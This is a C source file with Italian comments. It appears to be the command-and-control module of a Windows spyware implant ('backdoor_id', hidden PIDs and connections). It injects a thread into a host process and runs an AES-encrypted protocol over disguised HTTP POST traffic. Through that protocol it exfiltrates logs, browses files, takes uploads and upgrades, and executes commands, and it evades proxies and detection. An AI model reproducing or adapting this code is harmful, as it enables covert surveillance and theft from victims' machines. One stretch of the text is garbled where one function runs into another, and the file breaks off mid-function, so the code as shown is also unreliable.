#include "common.h" #include "H4-DLL.h" #include "ASP.h" #include "AM_Core.h" #include "UnHookClass.h" #include #include #include #include "sha1.h" #include "aes_alg.h" #include #include "x64.h" #define ASP_SLEEP_TIME 20 #define ASP_START_TIMEOUT 60000 // un minuto di attesa per far inizializzare il processo host ASP #define ASP_CONNECT_TIMEOUT 10000 // timeout prima di determinare che il server non e' raggiungibile #define ASP_RESOLVE_TIMEOUT 10000 #define ASP_SEND_TIMEOUT 600000 #define ASP_RECV_TIMEOUT 600000 #define WIRESPEED (100*1024*1024/8) HINTERNET asp_global_request = 0; // Handle usato dalle winhttp per inviare/ricevere dati BYTE asp_global_session_key[16]; extern char SHARE_MEMORY_ASP_COMMAND_NAME[MAX_RAND_NAME]; // --- Altri prototipi usati dal thread ASP --- typedef void (__stdcall *ASP_MainLoop_t) (char *); typedef void (__stdcall *ExitProcess_T) (UINT); extern void HidePEB(HMODULE); #define HOSTNAMELEN 256 typedef struct { HMCommonDataStruct pCommon; // Necessario per usare HM_sCreateHookA. Definisce anche le funzioni come LoadLibrary char cDLLHookName[DLLNAMELEN]; // Nome della dll principale ("H4.DLL") char cASPServer[HOSTNAMELEN]; // server ASP char cASPMainLoop[64]; // Nome della funzione ASP ExitProcess_T pExitProcess; } ASPThreadDataStruct; ASPThreadDataStruct ASPThreadData; // Struttura per il passaggio dei comandi ASP in shared memory #define ASP_SETUP 0 // Setup (primo comando da inviare) #define ASP_AUTH 1 // Auth #define ASP_IDBCK 2 // ID #define ASP_AVAIL 3 // Lista availables #define ASP_NCONF 4 // Nuova configurazione #define ASP_UPLO 5 // Prende un upload #define ASP_DOWN 6 // Prende le richieste di download #define ASP_FSYS 7 // Prende le richieste di filesystem browse #define ASP_SLOG 8 // Invia un log al server #define ASP_UPGR 9 // Prende un upgrade #define ASP_BYE 10 // Chiude la sessione #define ASP_SSTAT 11 // Invia info sui log che sta per spedire #define ASP_PURGE 12 // Riceve i dati per il purge dei log #define ASP_CMDE 13 // Prende le richieste di command execution // XXXXX da definire.... #define MAX_ASP_IN_PARAM 1024 #define MAX_ASP_OUT_PARAM 1024*1024 #define ASP_NOP 0 // Nessuna operazione da eseguire #define ASP_FETCH 1 // ASP host deve eseguire l'action #define ASP_DONE 2 // ASP host ha finito con successo #define ASP_ERROR 3 // ASP host ha finito con un errore typedef struct { DWORD action; // Azione da eseguire DWORD status; // stato dell'operazione (va settato per ultimo) DWORD out_command; // valore di ritorno del comando sul server BYTE in_param[MAX_ASP_IN_PARAM]; DWORD in_param_len; BYTE out_param[MAX_ASP_OUT_PARAM]; // output del comando sul server DWORD out_param_len; } ASP_IPCCommandDataStruct; /*#define REQUEST_ARRAY_LEN 19 WCHAR *wRequest_array[] = { L"/pagead/show_ads.js", L"/licenses/by-nc-nd/2.5", L"/css-validator", L"/stats.asp?site=actual", L"/static/js/common/jquery.js", L"/cgi-bin/m?ci=ads&cg=0", L"/rss/homepage.xml", L"/index.shtml?refresh", L"/static/css/common.css", L"/flash/swflash.cab#version=8,0,0,0", L"/js/swfobjectLivePlayer.js?v=10-57-13", L"/css/library/global.css", L"/rss/news.rss", L"/comments/new.js", L"/feed/view?id=1&type=channel", L"/ajax/MessageComposerEndpoint.php?__a=1", L"/safebrowsing/downloads?client=navclient", L"/extern_js/f/TgJFbiseMTg4LCsw2jgAQIACWFACU6rCA7RidA/qFso89FTd1c.js", L"/search.php" };*/ #define REQUEST_ARRAY_LEN 1 WCHAR *wRequest_array[] = { L"/index.jsp" }; HANDLE ASP_HostProcess = NULL; // Processo che gestisce ASP ASP_IPCCommandDataStruct *ASP_IPC_command = NULL; // Area di shared memory per dare comandi al processo ASP HANDLE hASPIPCcommandfile = NULL; // File handle della shared memory dei comandi connection_hide_struct connection_hide = NULL_CONNETCION_HIDE_STRUCT; // struttura per memorizzare il pid da nascondere pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT; // struttura per memorizzare la connessione da nascondere HINTERNET hRequest = 0; // Handle usato dalle winhttp per inviare/ricevere dati DWORD pub_key_size = 0; // Dimensione della chiave pubblica nel certificato server /////////////////////////////////////////// // Funzioni per lanciare il thread ASP // /////////////////////////////////////////// // Thread remoto iniettato nel processo ASP host DWORD ASP_HostThread(ASPThreadDataStruct *pDataThread) { HMODULE hASPDLL; ASP_MainLoop_t pASP_MainLoop; INIT_WRAPPER(BYTE); hASPDLL = pDataThread->pCommon._LoadLibrary(pDataThread->cDLLHookName); if (!hASPDLL) pDataThread->pExitProcess(0); pASP_MainLoop = (ASP_MainLoop_t)pDataThread->pCommon._GetProcAddress(hASPDLL, pDataThread->cASPMainLoop); // Invoca il ciclo principale di ASP if (pASP_MainLoop) pASP_MainLoop(pDataThread->cASPServer); // Se il ciclo principale esce per qualche errore // il processo host viene chiuso pDataThread->pExitProcess(0); return 0; } // Lancia il thread di ASP nel processo dwPid BOOL ASP_StartASPThread(DWORD dwPid) { HANDLE hThreadRem; DWORD dwThreadId; if (!ASP_HostProcess) return FALSE; // Alloca dati e funzioni del thread ASP nel processo dwPid if(HM_sCreateHookA(dwPid, NULL, NULL, (BYTE *)ASP_HostThread, 600, (BYTE *)&ASPThreadData, sizeof(ASPThreadData)) == NULL) return FALSE; if ( !(hThreadRem = HM_SafeCreateRemoteThread(ASP_HostProcess, NULL, 8192, (LPTHREAD_START_ROUTINE)ASPThreadData.pCommon.dwHookAdd, (LPVOID)ASPThreadData.pCommon.dwDataAdd, 0, &dwThreadId)) ) return FALSE; // Non e' necessario avere un handle aperto sul // thread di ASP CloseHandle(hThreadRem); return TRUE; } // Inizializza le strutture necessarie ad ASP // Torna 0 se ha successo DWORD ASP_Setup(char *asp_server) { HMODULE hMod; VALIDPTR(hMod = GetModuleHandle("KERNEL32.DLL")); // API utilizzate dal thread remoto.... [KERNEL32.DLL] VALIDPTR(ASPThreadData.pCommon._LoadLibrary = (LoadLibrary_T) HM_SafeGetProcAddress(hMod, "LoadLibraryA")); VALIDPTR(ASPThreadData.pCommon._GetProcAddress = (GetProcAddress_T) HM_SafeGetProcAddress(hMod, "GetProcAddress")); VALIDPTR(ASPThreadData.pExitProcess = (ExitProcess_T) HM_SafeGetProcAddress(hMod, "ExitProcess")); HM_CompletePath(H4DLLNAME, ASPThreadData.cDLLHookName); _snprintf_s(ASPThreadData.cASPServer, sizeof(ASPThreadData.cASPServer), _TRUNCATE, "%s", asp_server); _snprintf_s(ASPThreadData.cASPMainLoop, sizeof(ASPThreadData.cASPMainLoop), _TRUNCATE, "PPPFTBBP07"); return 0; } //////////////////////////////////// // Funzioni IPC command per ASP // //////////////////////////////////// // Usata dall'host ASP per attaccarsi alla shared memory BOOL ASP_IPCAttach() { HANDLE h_file = FNC(OpenFileMappingA)(FILE_MAP_ALL_ACCESS, FALSE, SHARE_MEMORY_ASP_COMMAND_NAME); // Riutilizza ASP_IPC_command tanto non l'host ASP non lo condivide // con il core if (h_file) ASP_IPC_command = (ASP_IPCCommandDataStruct *)FNC(MapViewOfFile)(h_file, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(ASP_IPCCommandDataStruct)); if (ASP_IPC_command) return TRUE; return FALSE; } // Inizializza nel core la shared memory per ASP BOOL ASP_IPCSetup() { hASPIPCcommandfile = FNC(CreateFileMappingA)(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(ASP_IPCCommandDataStruct), SHARE_MEMORY_ASP_COMMAND_NAME); if (hASPIPCcommandfile) ASP_IPC_command = (ASP_IPCCommandDataStruct *)FNC(MapViewOfFile)(hASPIPCcommandfile, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(ASP_IPCCommandDataStruct)); if (ASP_IPC_command) { memset(ASP_IPC_command, 0, sizeof(ASP_IPCCommandDataStruct)); return TRUE; } return FALSE; } // Chiude nel core la shared memory per ASP void ASP_IPCClose() { if (ASP_IPC_command) { FNC(UnmapViewOfFile)(ASP_IPC_command); ASP_IPC_command = NULL; } SAFE_CLOSE_HANDLE(hASPIPCcommandfile); } ///////////////////////// // Funzioni accessorie // ///////////////////////// // Parsa una risposta del server // Ritorna un puntatore al body del messaggio // Torna NULL in caso di fallimento BYTE *ParseResponse(BYTE *ptr, DWORD len, DWORD *command, DWORD *message_len) { BYTE *msg_ptr; BYTE iv[16]; aes_context crypt_ctx; SHA1Context sha; DWORD i; // Check di consistenza del pacchetto if (len < sizeof(DWORD)*2) return NULL; // Decifra il pacchetto aes_set_key( &crypt_ctx, (BYTE *)asp_global_session_key, 128); memset(iv, 0, sizeof(iv)); aes_cbc_decrypt(&crypt_ctx, iv, ptr, ptr, len); // Legge il comando di risposta msg_ptr = ptr; memcpy(command, msg_ptr, sizeof(DWORD)); msg_ptr += sizeof(DWORD); SHA1Reset(&sha); if (*command == PROTO_OK) { // legge la lunghezza memcpy(message_len, msg_ptr, sizeof(DWORD)); msg_ptr += sizeof(DWORD); // Check della lunghezza if (len <= sizeof(DWORD)*2 + *message_len + SHA_DIGEST_LENGTH) return NULL; // Calcola l'hash SHA1Input(&sha, (BYTE *)ptr, sizeof(DWORD)*2 + *message_len); } else if (*command == PROTO_NO) { // Check della lunghezza *message_len = 0; if (len <= sizeof(DWORD) + SHA_DIGEST_LENGTH) return NULL; // Calcola l'hash SHA1Input(&sha, (BYTE *)ptr, sizeof(DWORD)); } else return NULL; // Verifica lo sha1 if (!SHA1Result(&sha)) return NULL; for (i=0; i<5; i++) sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]); if (memcmp(msg_ptr + *message_len, sha.Message_Digest, SHA_DIGEST_LENGTH)) return NULL; return msg_ptr; } // Prende un buffer e lo dumpa su file BOOL WriteBufferOnFile(WCHAR *file_path, BYTE *buffer, DWORD buf_len) { HANDLE hfile; DWORD n_read; if (buffer == NULL || file_path == NULL) return FALSE; hfile = CreateFileW(file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL); if (hfile == INVALID_HANDLE_VALUE) return FALSE; while (buf_len > 0) { if (!WriteFile(hfile, buffer, buf_len, &n_read, NULL) || n_read==0) { CloseHandle(hfile); return FALSE; } buffer += n_read; buf_len -= n_read; } CloseHandle(hfile); return TRUE; } // Genera una sequenza di byte a caso void rand_bin_seq(BYTE *buffer, DWORD buflen) { DWORD i; static BOOL first_time = TRUE; if (first_time) { srand(GetTickCount()); first_time = FALSE; } for (i=0; i byte_per_sample) byte_to_send = byte_per_sample; time_start = FNC(GetTickCount)(); // byte_to_send sono quelli da inviare in questo sample // (dopo la funzione sono quelli effettivamente inviati) if (!FNC(WinHttpWriteData)(asp_global_request, buf + byte_sent, byte_to_send, &byte_to_send)) return FALSE; // Calcola quanti millisecondi avrebbe dovuto impiegare questa spedizione time_expected = (byte_to_send*1000) / byte_per_second; time_stop = FNC(GetTickCount)(); // Se il tempo atteso e' maggiore di quello passato, // aspetta i millisecondi rimanenti // Se arriva al riavvolgimento (time_stop < time_start), l'expected // sara' sicuramente minore. if (time_expected > (time_stop - time_start)) Sleep( time_expected - (time_stop - time_start)); // Aggiorna i byte inviati byte_sent += byte_to_send; } return TRUE; } // Invia una richiesta HTTP e legge la risposta // Alloca il buffer con la risposta (che va poi liberato dal chiamante) BOOL HttpTransaction(BYTE *s_buffer, DWORD sbuf_len, BYTE **r_buffer, DWORD *response_len, DWORD byte_per_second) { WCHAR szContentLength[32]; DWORD cch = sizeof(szContentLength); DWORD dwHeaderIndex = WINHTTP_NO_HEADER_INDEX; DWORD dwContentLength; DWORD n_read; BYTE *ptr; // Invia la richiesta if (!BandSafeDataSend(s_buffer, sbuf_len, byte_per_second)) return FALSE; // Legge la risposta if(!FNC(WinHttpReceiveResponse)(asp_global_request, 0)) return FALSE; if (!WinHttpQueryHeaders(asp_global_request, WINHTTP_QUERY_CONTENT_LENGTH, NULL, &szContentLength, &cch, &dwHeaderIndex)) return FALSE; dwContentLength = _wtoi(szContentLength); if (dwContentLength == 0) return FALSE; *r_buffer = (BYTE *)malloc(dwContentLength); if (! (*r_buffer)) return FALSE; ptr = *r_buffer; *response_len = 0; do { if(!FNC(WinHttpReadData)(asp_global_request, ptr, dwContentLength, &n_read)) { SAFE_FREE(*r_buffer); return FALSE; } *response_len += n_read; dwContentLength -= n_read; ptr += n_read; } while(n_read>0 && dwContentLength>0); // Arrotonda per eliminare i byte aggiunti per padding random *response_len -= ((*response_len)%16); return TRUE; } // Crea il buffer da inviare per un comando piu' messaggio // il buffer ritornato va liberato BYTE *PreapareCommand(DWORD command, BYTE *message, DWORD msg_len, DWORD *ret_len) { SHA1Context sha; DWORD tot_len, pad_len, i; BYTE *buffer, *ptr; aes_context crypt_ctx; DWORD rand_pad_len = 0; BYTE iv[16]; if (ret_len) *ret_len = 0; rand_pad_len = (rand()%15)+1; // arrotonda pad_len = tot_len = sizeof(DWORD) + msg_len + SHA_DIGEST_LENGTH; tot_len/=16; tot_len++; tot_len*=16; pad_len = tot_len - pad_len; if (!(buffer = (BYTE *)malloc(tot_len + rand_pad_len))) return NULL; SHA1Reset(&sha); SHA1Input(&sha, (BYTE *)&command, sizeof(DWORD)); if (msg_len) SHA1Input(&sha, (BYTE *)message, msg_len); if (!SHA1Result(&sha)) { free(buffer); return NULL; } for (i=0; i<5; i++) sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]); // scrive il buffer memset(buffer, pad_len, tot_len); ptr = buffer; memcpy(ptr, &command, sizeof(DWORD)); ptr += sizeof(DWORD); if (msg_len) memcpy(ptr, message, msg_len); ptr += msg_len; memcpy(ptr, sha.Message_Digest, sizeof(sha.Message_Digest)); // cifra il tutto aes_set_key( &crypt_ctx, (BYTE *)asp_global_session_key, 128); memset(iv, 0, sizeof(iv)); aes_cbc_encrypt(&crypt_ctx, iv, buffer, buffer, tot_len); rand_bin_seq(buffer + tot_len, rand_pad_len); if (ret_len) *ret_len = tot_len + rand_pad_len; return buffer; } // Formatta il buffer per l'invio di un log // Non usa PrepareCommand per evitare di dover allocare due volte la dimensione del file BYTE *PrepareFile(WCHAR *file_path, DWORD *ret_len) { SHA1Context sha; DWORD tot_len, pad_len, i; BYTE *buffer, *ptr; aes_context crypt_ctx; DWORD msg_len, bytes_left; BYTE iv[16]; DWORD command = PROTO_LOG; HANDLE hfile; DWORD n_read; DWORD rand_pad_len = 0; if (ret_len) *ret_len = 0; rand_pad_len = (rand()%15)+1; // Legge la lunghezza del body del file hfile = CreateFileW(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hfile == INVALID_HANDLE_VALUE) return FALSE; msg_len = GetFileSize(hfile, NULL); if (msg_len == INVALID_FILE_SIZE) { CloseHandle(hfile); return NULL; } // arrotonda pad_len = tot_len = sizeof(DWORD)*2 + msg_len + SHA_DIGEST_LENGTH; tot_len/=16; tot_len++; tot_len*=16; pad_len = tot_len - pad_len; // alloca il buffer if (!(buffer = (BYTE *)malloc(tot_len + rand_pad_len))) { CloseHandle(hfile); return NULL; } // scrive il buffer memset(buffer, pad_len, tot_len); ptr = buffer; memcpy(ptr, &command, sizeof(DWORD)); ptr += sizeof(DWORD); memcpy(ptr, &msg_len, sizeof(DWORD)); ptr += sizeof(DWORD); // copia il contenuto del file bytes_left = msg_len; while (bytes_left > 0) { if (!ReadFile(hfile, ptr, bytes_left, &n_read, NULL) || n_read==0) { CloseHandle(hfile); return NULL; } ptr += n_read; bytes_left -= n_read; } CloseHandle(hfile); // Calcola lo sha1 sulla prima parte del buffer SHA1Reset(&sha); SHA1Input(&sha, buffer, sizeof(DWORD)*2 + msg_len); if (!SHA1Result(&sha)) { free(buffer); return NULL; } // ..lo scrive for (i=0; i<5; i++) sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]); memcpy(ptr, sha.Message_Digest, sizeof(sha.Message_Digest)); // cifra il tutto aes_set_key( &crypt_ctx, (BYTE *)asp_global_session_key, 128); memset(iv, 0, sizeof(iv)); aes_cbc_encrypt(&crypt_ctx, iv, buffer, buffer, tot_len); rand_bin_seq(buffer + tot_len, rand_pad_len); if (ret_len) *ret_len = tot_len + rand_pad_len; return buffer; } // Ritorna la stringa pascalizzata // il buffer ritornato va liberato BYTE *PascalizeString(WCHAR *string, DWORD *retlen) { DWORD len; BYTE *buffer; len = (wcslen(string)+1)*sizeof(WCHAR); buffer = (BYTE *)malloc(len+sizeof(DWORD)); if (!buffer) return NULL; ZeroMemory(buffer, len+sizeof(DWORD)); memcpy(buffer, &len, sizeof(DWORD)); wcscpy_s((WCHAR *)(buffer+sizeof(DWORD)), len/sizeof(WCHAR), string); *retlen = len+sizeof(DWORD); return buffer; } // De-pascalizza la stringa (alloca la stringa) WCHAR *UnPascalizeString(BYTE *data, DWORD *retlen) { *retlen = *((DWORD *)data); data += sizeof(DWORD); return wcsdup((WCHAR *)data); } // Risolve server_url BOOL H_ASP_ResolveName(char *server_url, char *addr_to_connect, DWORD buflen) { struct hostent *hAddress; char *addr_ptr; WORD wVersionRequested; WSADATA wsaData; // E' gia' un indirizzo IP if (inet_addr(server_url) != INADDR_NONE) { _snprintf_s(addr_to_connect, buflen, _TRUNCATE, "%s", server_url); return TRUE; } wVersionRequested = MAKEWORD( 2, 2 ); if ( WSAStartup( wVersionRequested, &wsaData )!= 0 ) return FALSE; hAddress = gethostbyname(server_url); WSACleanup(); if (!hAddress || !(addr_ptr = inet_ntoa(*(struct in_addr*)hAddress->h_addr))) return FALSE; _snprintf_s(addr_to_connect, buflen, _TRUNCATE, "%s", addr_ptr); return TRUE; } // XXX Mancano tutte le GlobalFree per le strutture WinHTTP // ma tanto la funzione viene richiamata una volta sola dal // processo e poi muore BOOL H_ASP_WinHTTPSetup(char *server_url, char *addr_to_connect, DWORD buflen, DWORD *port_to_connect) { WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig; WINHTTP_PROXY_INFO ProxyInfoTemp, ProxyInfo; WINHTTP_AUTOPROXY_OPTIONS OptPAC; DWORD dwOptions = 0; WCHAR _wHostProto[256]; WCHAR _wHost[256]; HINTERNET hSession = 0, hConnect = 0; char *addr_ptr; char *types[] = { "*\x0/\x0*\x0",0 }; BOOL isProxy = FALSE; swprintf_s(_wHost, L"%S", server_url); swprintf_s(_wHostProto, L"http://%S", server_url); ZeroMemory(&ProxyInfo, sizeof(ProxyInfo)); ZeroMemory(&ProxyConfig, sizeof(ProxyConfig)); // Crea una sessione per winhttp. hSession = FNC(WinHttpOpen)( L"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); // Cerca nel registry le configurazioni del proxy if (hSession && FNC(WinHttpGetIEProxyConfigForCurrentUser)(&ProxyConfig)) { // I metodi di configurazione sono nell'ordine inverso // rispetto a come li considera internet explorer // In questo modo l'ultimo che riesce a trovare un proxy // verra' utilizzato. if (ProxyConfig.lpszProxy) { // Proxy specificato ProxyInfo.lpszProxy = ProxyConfig.lpszProxy; ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxyBypass = NULL; } if (ProxyConfig.lpszAutoConfigUrl) { // Script proxy pac OptPAC.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; OptPAC.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl; OptPAC.dwAutoDetectFlags = 0; OptPAC.fAutoLogonIfChallenged = TRUE; OptPAC.lpvReserved = 0; OptPAC.dwReserved = 0; if (FNC(WinHttpGetProxyForUrl)(hSession ,_wHostProto, &OptPAC, &ProxyInfoTemp)) memcpy(&ProxyInfo, &ProxyInfoTemp, sizeof(ProxyInfo)); } if (ProxyConfig.fAutoDetect) { // Autodetect proxy OptPAC.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; OptPAC.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; OptPAC.fAutoLogonIfChallenged = TRUE; OptPAC.lpszAutoConfigUrl = NULL; OptPAC.lpvReserved = 0; OptPAC.dwReserved = 0; if (FNC(WinHttpGetProxyForUrl)(hSession ,_wHostProto, &OptPAC, &ProxyInfoTemp)) memcpy(&ProxyInfo, &ProxyInfoTemp, sizeof(ProxyInfo)); } // Se ha trovato un valore sensato per il proxy, allora ritorna if (ProxyInfo.lpszProxy) { isProxy = TRUE; FNC(WinHttpSetOption)(hSession, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof(ProxyInfo)); // Parsa la stringa per separare la porta _snprintf_s(addr_to_connect, buflen, _TRUNCATE, "%S", ProxyInfo.lpszProxy); if (addr_ptr = strchr(addr_to_connect, (int)':')) { *addr_ptr = 0; addr_ptr++; sscanf_s(addr_ptr, "%d", port_to_connect); } else *port_to_connect = 8080; if (!H_ASP_ResolveName(addr_to_connect, addr_to_connect, buflen)) return FALSE; } } // Se ci connettiamo senza proxy if (!isProxy) { *port_to_connect = 80; // se ci stiamo connettendo diretti usiamo di default la porta 80 if (!H_ASP_ResolveName(server_url, addr_to_connect, buflen)) return FALSE; swprintf_s(_wHost, L"%S", addr_to_connect); // In questo caso mette nella richiesta winhttp direttamente l'indirizzo IP } // Definisce il target if ( !(hConnect = FNC(WinHttpConnect)( hSession, (LPCWSTR) _wHost, INTERNET_DEFAULT_HTTP_PORT, 0))) return FALSE; // Crea la richiesta if ( !(asp_global_request = FNC(WinHttpOpenRequest)( hConnect, L"POST", wRequest_array[rand()%REQUEST_ARRAY_LEN], NULL, WINHTTP_NO_REFERER, (LPCWSTR *) types, 0)) ) return FALSE; FNC(WinHttpSetTimeouts)(asp_global_request, ASP_RESOLVE_TIMEOUT, ASP_CONNECT_TIMEOUT, ASP_SEND_TIMEOUT, ASP_RECV_TIMEOUT); return TRUE; } ////////////////////////////////////////////// // Funzioni che eseguono i comandi del core // ////////////////////////////////////////////// #define AUTH_REAL_LEN 112 // Esegue il passi di AUTH BOOL H_ASP_Auth(char *signature, DWORD sig_len, char *backdoor_id, DWORD bid_len, char *instance, DWORD inst_len, char *subtype, DWORD sub_len, char *conf_key, DWORD ckey_len, DWORD *response_command) { BYTE buffer[AUTH_REAL_LEN+16]; BYTE *response; BYTE *ptr; BYTE client_key[16]; BYTE server_key[16]; BYTE nonce_payload[16]; BYTE sha1buf[256]; SHA1Context sha; DWORD response_len; DWORD i; BYTE iv[16]; aes_context crypt_ctx; DWORD rand_pad_len = 0; *response_command = PROTO_NO; // Costruisce il buffer ZeroMemory(buffer, sizeof(buffer)); rand_bin_seq(client_key, 16); rand_bin_seq(nonce_payload, 16); SHA1Reset(&sha); ZeroMemory(sha1buf, sizeof(sha1buf)); memcpy(sha1buf, backdoor_id, bid_len); SHA1Input(&sha, sha1buf, 16); ZeroMemory(sha1buf, sizeof(sha1buf)); memcpy(sha1buf, instance, inst_len); SHA1Input(&sha, sha1buf, 20); ZeroMemory(sha1buf, sizeof(sha1buf)); memcpy(sha1buf, subtype, sub_len); SHA1Input(&sha, sha1buf, 16); ZeroMemory(sha1buf, sizeof(sha1buf)); memcpy(sha1buf, conf_key, ckey_len); SHA1Input(&sha, sha1buf, 16); if (!SHA1Result(&sha)) return FALSE; ptr = buffer; memcpy(ptr, client_key, 16); ptr+=16; memcpy(ptr, nonce_payload, 16); ptr+=16; memcpy(ptr, backdoor_id, bid_len); ptr+=16; memcpy(ptr, instance, inst_len); ptr+=20; memcpy(ptr, subtype, sub_len); ptr+=16; for (i=0; i<5; i++) sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]); memcpy(ptr, sha.Message_Digest, sizeof(sha.Message_Digest)); ptr+=SHA_DIGEST_LENGTH; memset(ptr, 8, AUTH_REAL_LEN-(ptr-buffer)); // Padda fino alla fine con 8 // Cifra il buffer aes_set_key( &crypt_ctx, (BYTE *)signature, 128); memset(iv, 0, sizeof(iv)); aes_cbc_encrypt(&crypt_ctx, iv, buffer, buffer, AUTH_REAL_LEN); rand_pad_len = (rand()%15)+1; rand_bin_seq(buffer+AUTH_REAL_LEN, rand_pad_len); // Invia la richiesta if (!HttpTransaction(buffer, AUTH_REAL_LEN + rand_pad_len, &response, &response_len, WIRESPEED)) return FALSE; // Parsa la prima parte della reply if (response_len != 64) { SAFE_FREE(response); return FALSE; } aes_set_key( &crypt_ctx, (BYTE *)signature, 128); memset(iv, 0, sizeof(iv)); aes_cbc_decrypt(&crypt_ctx, iv, response, response, 32); if (response[16]!=16) { SAFE_FREE(response); return FALSE; } memcpy(server_key, response, sizeof(server_key)); SHA1Reset(&sha); SHA1Input(&sha, (BYTE *)conf_key, 16); SHA1Input(&sha, (BYTE *)server_key, 16); SHA1Input(&sha, (BYTE *)client_key, 16); if (!SHA1Result(&sha)) { SAFE_FREE(response); return FALSE; } for (i=0; i<5; i++) sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]); memcpy(asp_global_session_key, sha.Message_Digest, 16); // Parsa la seconda parte della reply aes_set_key( &crypt_ctx, (BYTE *)asp_global_session_key, 128); memset(iv, 0, sizeof(iv)); ptr = response + 32; aes_cbc_decrypt(&crypt_ctx, iv, ptr, ptr, 32); if (memcmp(ptr, nonce_payload, 16)) { SAFE_FREE(response); return FALSE; } ptr+=16; *response_command = *((DWORD *)ptr); SAFE_FREE(response); return TRUE; } // Fa il passo ID // Ritorna il response message (che va poi liberato) di dimensione response_message_len BYTE *H_ASP_ID(WCHAR *user_id, WCHAR *device_id, WCHAR *source_id, DWORD *response_message_len) { BYTE *response = NULL; BYTE *message = NULL, *ptr = NULL; BYTE *p_usr = NULL, *p_dev = NULL, *p_src = NULL; DWORD l_usr, l_dev, l_src; DWORD buffer_len; DWORD response_len; BYTE *buffer = NULL; DWORD response_command; BYTE *response_message = NULL; DWORD version = atoi(CLIENT_VERSION); p_usr = PascalizeString(user_id, &l_usr); p_dev = PascalizeString(device_id, &l_dev); p_src = PascalizeString(source_id, &l_src); do { if (!p_usr || !p_dev || !p_src) break; // Costruisce il messaggio if (!(ptr = message = (BYTE *)malloc(sizeof(DWORD) + l_usr + l_dev + l_src))) break; memcpy(ptr, &version, sizeof(DWORD)); ptr += sizeof(DWORD); memcpy(ptr, p_usr, l_usr); ptr += l_usr; memcpy(ptr, p_dev, l_dev); ptr += l_dev; memcpy(ptr, p_src, l_src); // Crea il comando if (!(buffer = PreapareCommand(PROTO_ID, message, sizeof(DWORD)+l_usr+l_dev+l_src, &buffer_len))) break; // Invia il buffer if (!HttpTransaction(buffer, buffer_len, &response, &response_len, WIRESPEED)) break; // Parsa la risposta if (!(ptr = ParseResponse(response, response_len, &response_command, response_message_len)) || response_command == PROTO_NO || *response_message_len == 0) break; // Passa al chiamante il messaggio ritornato if (! (response_message = (BYTE *)malloc(*response_message_len))) break; memcpy(response_message, ptr, *response_message_len); } while(0); SAFE_FREE(p_usr); SAFE_FREE(p_dev); SAFE_FREE(p_src); SAFE_FREE(message); SAFE_FREE(buffer); SAFE_FREE(response); return response_message; } // Usato per i comandi che ricevono un buffer in memoria (DOWNLOAD e FILESYSTEM) // Se il server torna un messaggio, response_message viene allocato (va liberato dal chiamante) BOOL H_ASP_GenericCommand(DWORD command, DWORD *response_command, BYTE **response_message, DWORD *response_message_len) { BYTE *response = NULL; DWORD response_len; DWORD buffer_len; BYTE *buffer = NULL; BOOL ret_val = FALSE; BYTE *ptr = NULL; *response_message = NULL; *response_message_len = 0; *response_command = PROTO_NO; do { // Crea il comando if (!(buffer = PreapareCommand(command, NULL, 0, &buffer_len))) break; // Invia il buffer if (!HttpTransaction(buffer, buffer_len, &response, &response_len, WIRESPEED)) break; // Parsa la risposta if (!(ptr = ParseResponse(response, response_len, response_command, response_message_len))) break; if (*response_command == PROTO_OK && *response_message_len > 0) { // Passa al chiamante il messaggio ritornato if (! (*response_message = (BYTE *)malloc(*response_message_len))) break; memcpy(*response_message, ptr, *response_message_len); } ret_val = TRUE; } while(0); SAFE_FREE(buffer); SAFE_FREE(response); return ret_val; } // Usato per i comandi che ricevono un buffer in memoria (DOWNLOAD e FILESYSTEM) // Se il server torna un messaggio, response_message viene allocato (va liberato dal chiamante) // Permette anche l'invio di un payload BOOL H_ASP_GenericCommandPL(DWORD command, BYTE *payload, DWORD payload_len, DWORD *response_command, BYTE **response_message, DWORD *response_message_len) { BYTE *response = NULL; DWORD response_len; DWORD buffer_len; BYTE *buffer = NULL; BOOL ret_val = FALSE; BYTE *ptr = NULL; *response_message = NULL; *response_message_len = 0; *response_command = PROTO_NO; do { // Crea il comando if (!(buffer = PreapareCommand(command, payload, payload_len, &buffer_len))) break; // Invia il buffer if (!HttpTransaction(buffer, buffer_len, &response, &response_len, WIRESPEED)) break; // Parsa la risposta if (!(ptr = ParseResponse(response, response_len, response_command, response_message_len))) break; if (*response_command == PROTO_OK && *response_message_len > 0) { // Passa al chiamante il messaggio ritornato if (! (*response_message = (BYTE *)malloc(*response_message_len))) break; memcpy(*response_message, ptr, *response_message_len); } ret_val = TRUE; } while(0); SAFE_FREE(buffer); SAFE_FREE(response); return ret_val; } #define MINIMAL_UPLOAD_PACKET_LEN 14 // Se torna PROTO_OK scrive il file che ha scaricato e ne torna il nome in file_name (che va liberato) // Non viene usato GenericCommand per evitare di dover allocare due volte tutta la memoria per il file BOOL H_ASP_GetUpload(BOOL is_upload, DWORD *response_command, WCHAR **file_name, DWORD *upload_left) { BYTE *response = NULL; DWORD response_len; DWORD buffer_len; BYTE *buffer = NULL; BOOL ret_val = FALSE; BYTE *message_body = NULL; BYTE *ptr; DWORD response_message_len; DWORD file_name_len; DWORD file_body_len; HANDLE hfile = INVALID_HANDLE_VALUE; WCHAR file_path[MAX_PATH]; DWORD command = PROTO_UPGRADE; *file_name = NULL; *response_command = 